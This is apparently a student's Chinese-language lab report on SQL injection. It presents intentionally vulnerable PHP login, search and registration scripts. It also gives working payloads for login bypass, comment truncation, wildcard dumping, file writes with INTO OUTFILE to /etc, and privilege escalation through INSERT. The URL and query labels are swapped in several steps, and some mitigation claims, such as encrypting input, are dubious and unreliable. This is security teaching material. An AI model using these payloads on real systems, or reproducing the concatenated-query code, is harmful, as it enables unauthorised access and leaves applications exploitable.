讚賞碼 & 聯繫方式 & 個人閒話
【實驗名稱】SQL注入攻擊
【實驗目的】
1.瞭解SQL注入的基本原理
2.掌握PHP腳本訪問MySQL數據庫的基本方法
3.掌握程序設計中避免出現SQL注入漏洞的基本方法
【實驗原理】
1.什麼是SQL注入攻擊
所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。
2.爲何會有SQL注入攻擊
很多電子商務應用程序都使用數據庫來存儲信息。不論是產品信息,賬目信息還是其它類型的數據,數據庫都是Web應用環境中非常重要的環節。SQL命令就是前端Web和後端數據庫之間的接口,使得數據可以傳遞到Web應用程序,也可以從其中發送出來。需要對這些數據進行控制,保證用戶只能得到授權給他的信息。可是,很多Web站點都會利用用戶輸入的參數動態的生成SQL查詢要求,攻擊者通過在URL、表格域,或者其他的輸入域中輸入自己的SQL命令,以此改變查詢屬性,騙過應用程序,從而可以對數據庫進行不受限的訪問。
因爲SQL查詢經常用來進行驗證、授權、訂購、打印清單等,所以,允許攻擊者任意提交SQL查詢請求是非常危險的。
3.何時使用SQL注入攻擊
當Web應用向後端的數據庫提交輸入時,就可能遭到SQL注入攻擊。可以將SQL命令人爲的輸入到URL、表格域,或者其他一些動態生成的SQL查詢語句的輸入參數中,完成上述攻擊。因爲大多數的Web應用程序都依賴於數據庫的海量存儲和相互間的邏輯關係(用戶權限許可,設置等),所以,每次的查詢中都會存在大量的參數。
4. MySQL簡介
SQL是結構化查詢語言的簡稱,它是全球通用的標準數據庫查詢語言,主要用於關係型數據的操作和管理,如增加記錄,刪除記錄,更改記錄,查詢記錄等,常用命令知識如表4-1-1所示。
表4-1-1 SQL常用命令
命令短語 |
功能 |
例句 |
select |
用於查詢記錄和賦值 |
select i,j,k from A (i,j,k是表A中僅有的列名) select i='1' (將i賦值爲字符1) select* from A (含義同第一個例句) |
update |
用於修改記錄 |
update A set i=2 where i=1 |
insert |
用於添加記錄 |
insert into A values(1, '2',3) (向A表中插入一條記錄(i,j,k)對應爲(1, '2',3)) |
delete |
用於刪除記錄 |
delete A where i=2 (刪除A標中i=2的所有表項) |
from |
用於指定操作的對象名 |
見 select |
where |
用於指定查詢條件 |
select *from A,B where A.name=B.name and A.id=B.id |
and |
邏輯與 |
1=1 and 2<=2 |
or |
邏輯或 |
1=1 or 1>2 |
not |
邏輯非 |
not 1>1 |
= |
相等關係或賦值 |
見and、or、not |
>,>=,<,<= |
關係運算符 |
與相等關係('=')的用法一致。 |
單引號(“'”) |
用於指示字符串型數據 |
見select |
逗號 |
分割相同的項 |
見select |
* |
通配符所有 |
見select |
-- |
行註釋 |
--這裏的語句將不被執行! |
/* */ |
塊註釋 |
/* 這裏的語句將不被執行! */ |
【實驗內容】
一.PHP訪問MySQL簡單實例
1. 創建隸屬test數據庫的user表
(1)啓動mysql服務
在控制檯中輸入如下命令啓動mysql服務。缺省狀態下root用戶密碼爲空。可通過如下命令查看mysql服務是否啓動成功。
(2)創建user數據庫表
在控制檯中輸入mysql,進入mysql客戶端控制檯(mysql>)。
● 選擇工作數據庫test(缺省狀態下,test數據庫已被創建)。
● 創建user數據庫表
● 插入兩條數據信息
● 查看數據庫表
2. 編寫PHP腳本查詢user數據庫表
編寫access.php腳本,內容如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$username = $_GET['username'];
$password = $_GET['password'];
## 連接到MySQL服務器
$dbcnx = mysql_connect($servername , $dbusername, $dbpassword );
if( !$dbcnx )
{
echo( "連接MySQL服務器失敗!".mysql_error() );
exit();
}
## 選擇工作數據庫
if( !mysql_select_db($dbname, $dbcnx) )
{
echo ( "激活$dbname數據庫失敗!".mysql_error() );
exit();
}
## SQL查詢
$sql_select = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result=mysql_query($sql_select, $dbcnx);
$userinfo=mysql_fetch_array($result);
if(empty($userinfo))
{
echo "登錄失敗";
}
else
{
echo "登錄成功";
}
echo "<p>SQL查詢: $sql_select<p>";
?>
從代碼中可知,當輸入正確的用戶名和密碼後,就會提示登錄成功,否則登錄失敗。
查看本機IP地址,發現爲172.16.0.192
單擊桌面控制面板中“Web瀏覽器”按鈕,當我們在URL地址欄中提交:
http://172.16.0.192/access.php?username=angel&password=mypass
Web頁面會提示“登錄成功”。
寫出此時PHP腳本中具體的SQL查詢語句:
SELECT * FROM user WHERE username='angel' AND password='mypass'
3. 實施SQL注入
(1)在URL地址欄中提交:
http://172.16.0.192/access.php?username=angel' or 1=1
注入是否成功? 否 。
寫出此時PHP腳本中具體的SQL查詢語句:
SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
(2)在URL地址欄中提交
http://172.16.0.192/access.php?username=angel' or '1=1
注入是否成功? 是 。
寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM user WHERE username='angel' or '1=1' AND password=''
通過分析SQL查詢語句解釋實驗現象: 可以看出程序會自動在語句末尾加上',第一種情況形成1=1’語句,顯然這是不完整的。而第二種寫法在前先加了一個’,形成’1=1’恆等語句。而我們知道邏輯AND運算優先級高於邏輯OR運算,使得先有'1=1' AND password=''得到真,再同username='angel'邏輯or,最終通過檢驗 。
(3)在URL地址欄中提交:
http://172.16.0.192/access.php?username=angel'%23
注入是否成功? 是 。
寫出此時PHP腳本中具體的SQL查詢語句:
SELECT * FROM user WHERE username='angel'#' AND password=''
此處利用了MySQL支持“#”註釋格式的特性,在提交的時候會將#後面的語句註釋掉。由於編碼問題,在多數Web瀏覽器URL地址欄裏直接提交#會變成空,所以這裏使用了字符“#”的ASCII碼值0x23。
(4)Mysql還支持“/*”註釋格式,請寫出利用“/*”實現注入的URL,以及此時的SQL查詢語句。
SQL查詢語句:http://172.16.0.192/access.php?username=angel'%2F%2A
URL: SELECT * FROM user WHERE username='angel'/*' AND password=''
(5)步驟(2)通過向username注入邏輯or運算,在只需知曉用戶名的情況下便可成功登錄。下面請設計單獨向password注入邏輯運算(可多個),要求在只需知曉用戶名的情況下實現登錄:
SQL查詢語句: http://172.16.0.192/access.php?username=&password=' or 1=1 and username='angel
URL: SELECT * FROM user WHERE username='' AND password='' or 1=1 and username='angel'
(6)下面請設計SQL查詢語句,要求在不需要知曉用戶名和密碼的情況下實現登錄。
提示:通過猜測用戶ID字段名稱與用戶序列號,結合邏輯運算,向password進行注入。
SQL查詢語句: http://172.16.0.192/access.php?username=&password=' or 1=1 and userid='1
URL: SELECT * FROM user WHERE username='' AND password='' or 1=1 and userid='1'
二.搜索引擎注入
值得注意的是,Internet上有許多的PHP程序搜索引擎是存在問題的,也就是提交特殊字符就可以顯示所有記錄,包括不符合條件的。
1. 創建隸屬test數據庫的file表
(1)創建file數據庫表
file數據庫表結構如下:
(2)插入四條數據信息
title |
author |
summary |
honeypot paper |
honeypot.net |
honeypot and honeynet |
snort paper |
snort.net |
snort intrusion detection |
snort based network |
ppi |
another snort paper |
iptables+snort |
no name |
intelligence ids |
2. 編寫HTML頁面
通過HTML頁面提交表單給服務器端PHP腳本,由PHP根據表單索引關鍵字對MySQL數據庫進行查詢,最後將查詢結果返回給HTML頁面。HTML頁面代碼如下:
<html>
<body>
<form action="search.php" method="post">
<table border="0">
<tr bgcolor="#cccaaa">
<td width="300">文檔搜索引擎</td>
</tr>
</table>
<p>
<table border="0">
<tr>
<td>關鍵字:</td>
<td align="left"><input type="text" name="key" size="32"
maxlength="32"></td>
</tr>
<tr>
<td bgcolor="#cccaaa" colspan="2" align="left"><input type="submit" value="搜索"></td>
</tr>
</table>
</form>
</body>
</html>
3. 編寫PHP腳本查詢file數據庫表
<?php
$key = $_POST['key'];
?>
<html>
<head>
<title>搜索結果</title>
</head>
<body>
<h3>文檔搜索引擎</h3>
<?php
echo "搜索關鍵字:$key<p>";
echo "文檔搜索時間: ";
echo date("H:i, jS F<p>");
echo "搜索結果:";
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$tablename = "files";
$result = mysql_connect( $servername, $dbusername,$dbpassword);
if( !$result )
{
echo ("連接mysql服務器失敗");
exit();
}
if( !empty($key) )
{
$sql_select = "SELECT * FROM file WHERE title LIKE '%$key%' ";
$result = mysql_db_query( $dbname, $sql_select );
if( empty($result) )
{
echo("mysql_db_query error");
exit();
}
$total = mysql_num_rows($result);
if( $total <= 0 )
{
echo ("<p>The $key was not found in all the record<p>");
}
else
{
while( $file = mysql_fetch_array($result) )
{
echo("<li>".htmlspecialchars($file[title])."<p>");
echo( "摘要:".htmlspecialchars($file[summary]) );
}
}
}
else
{
echo("<b>請輸入查詢關鍵字.</b><p>");
}
exit();
?>
</body>
</html>
從代碼中可知,search.php會按search.htm提交的關鍵字對file數據庫表進行模糊查詢,並最終將查詢結果顯示在HTML頁面中。
輸入關鍵字“snort”進行 搜索,搜索結果中含有多少條記錄? 3條 。記錄中是否包含與snort關鍵字無關的項 無 。
寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM file WHERE title LIKE '%snort%'
4. SQL注入
(1)這裏我們利用PHP腳本沒有對關鍵字變量進行檢查的漏洞進入SQL注入。輸入關鍵字“%”,進行搜索,搜索結果中含有多少條記錄? 4條 。記錄中是否包含與snort關鍵字無關的項 包含honeypot paper 。
寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM file WHERE title LIKE '%%%'
解釋SQL查詢語句含義: 從title列中模糊查詢全部記錄
(2)輸入關鍵字“_’ORDER BY fileid#”
「說明」 “_”字符表示單字符通配,n個“_”字符則表示n字符通配。“ORDER BY fileid”表示按特定順序進行SQL查詢。若fileid爲整型字段,則按整數大小(由小到大)順序進行查詢;若fileid爲字符數組類型字段,則按字符ASCII碼(由前到後)順序進行查詢。
寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM file WHERE title LIKE '%_’ORDER BY fileid#%'
解釋SQL查詢語句含義: 按照fileid從小到大排列,模糊查詢記錄
三.注入實現導出文件
本實驗步驟僅爲說明由於SQL注入而給服務器系統帶來一定程度上的危害。
在步驟一中,我們使用用戶名,在無需知曉用戶密碼的情況下,通過SQL注入實現了登錄。作爲進一步操作,我們可以通過SQL注入來向服務器硬盤中寫入大量無用的文件,而這是利用了MySQL的“INTO OUTFILE”命令,其查詢方法如下:
SELECT * FROM user WHERE cond into outfile '/etc/temp.txt';
上述SQL查詢語句會將user數據庫表中,滿足cond條件的記錄以INTO OUTFILE標準格式導出到/etc/temp.txt文件中。而信息能夠被成功導出到/etc/temp.txt中的條件是目標目錄有可寫的權限和目標文件不存在。
基於步驟一,寫出能夠實現(SQL注入)上述功能的URL: http://172.16.0.192/access.php?username=' or 1=1 into outfile '/etc/temp.txt'%23
寫出此時PHP腳本中具體的SQL查詢語句: SELECT * FROM user WHERE username='' or 1=1 into outfile '/etc/temp.txt'#' AND password=''
看到temp.txt中的結果:
四.通過注入提升用戶權限
如果大家認爲SQL注入僅僅適用於SELECT語句就大錯特錯了,其實還有兩個危害更大的操作,那就是INSERT和UPDATE語句。
(1)創建隸屬test數據庫的register表
切換至/opt/ExpNIC/HostSec-Lab/Projects/step4/目錄,執行腳本create_table_register創建register數據庫表。
寫出數據表包含的字段名稱: Field、Type、Null、Key、Default、Extra 。
(2)註冊用戶
將/opt/ExpNIC/HostSec-Lab/Projects/step4/目錄中的register.htm和register.php文件拷貝至/var/www/html目錄下。
在Web瀏覽器URL地址欄中訪問register.htm頁面。
填寫“用戶名”、“用戶口令”和“個人主頁”信息,單擊“註冊”按鈕,進行註冊。
註冊用戶級別(userlevel) 3 。
(3)SQL注入提升註冊用戶權限
返回到register.htm頁面,按如下方法填寫“個人主頁”信息。
單擊“註冊”按鈕,用戶註冊級別 1 。
寫出此時PHP腳本中具體的SQL查詢語句: INSERT INTO register VALUES(0,'lixiaojun','123','http://lixiaojun.com’,’1)#',3)
思考問題
1.思考程序設計中有效避免SQL注入的方法(不限於本實驗中提及的)?
(1)輸入驗證
檢查用戶輸入的合法性,確信輸入的內容只包含合法的數據。
(2)錯誤消息處理
防範SQL注入,還要避免出現一些詳細的錯誤消息,因爲黑客們可以利用這些消息。要使用一種標準的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、企業規則等。
(3)加密處理
將用戶登錄名稱、密碼等數據加密保存。加密用戶輸入的數據,然後再將它與數據庫中保存的數據比較,用戶輸入的數據不再對數據庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。
(4)存儲過程來執行所有的查詢
SQL參數的傳遞方式將防止攻擊者利用單引號和連字符實施攻擊。
(5)使用專業的漏洞掃描工具
一個完善的漏洞掃描程序不同於網絡掃描程序,它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。
(6)確保數據庫安全
鎖定數據庫的安全,只給訪問數據庫的web應用功能所需的最低的權限,撤銷不必要的公共許可,使用強大的加密技術來保護敏感數據並維護審查跟蹤。
(7)安全審評
在部署應用系統前,始終要做安全審評。建立一個正式的安全過程,並且每次做更新時,要對所有的編碼做審評。
2.SQL注入漏洞產生的原因是什麼?
但凡有SQL注入漏洞的程序,都是因爲程序要接受來自客戶端用戶輸入的變量或URL傳遞的參數,並且這個變量或參數是組成SQL語句的一部分,
對於用戶輸入的內容或傳遞的參數,應該要時刻保持警惕,這是安全領域裏的外部數據不可信任的原則,SQL注入漏洞的產生大多數都是因爲開發者開發過程中不注意規範書寫sql語句和對特殊字符進行過濾,違反了這個原則而導致的。
【小結或討論】
這次的SQL注入其實在之前的學習中就有接觸過,在CTF比賽和軟件安全課程上都有過學習,所以這次實驗總的來說還是比較順利的,內容也較爲容易理解。
實驗從or '1=1這個最經典的注入方式入手,很直接鮮明的給出了SQL注入的案例,一下子就讓我們也知道了SQL注入是什麼、SQL注入漏洞在哪、SQL注入想幹什麼、SQL注入該如何去操作。而對於實驗中的or 1=1注入,很明顯這不能形成一個完整的閉合語句,而通過or '1=1,先開始了一個新的語句,再結合自動補充的’,就能形成一個恆成立的等式‘1=1’,從而跳過驗證。
SQL注入的方法有很多,很重要的一個就是利用的就是AND和OR的運算規則,從而造成後臺腳本邏輯性錯誤,我們的實驗也是這樣做的。除此之外猜解表名、列名,繞過一些防注入的方法比如雙空格等等,有很多值得進一步學習探究的地方。SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況,特別現在大小網站多少都會有防注入的限制措施,會對輸入進行過濾和審查。能不能根據具體情況進行分析,構造巧妙的SQL語句,這纔是SQL注入最爲精華的部分。
實驗還演示了利用SQL提權的操作,證明注入不僅適用於select。SQL注入非常注重技巧,合理的猜測往往也是解題最不可或缺的一部分,所以要想學好SQL注入還有很多的空間值得我們自己去慢慢發掘。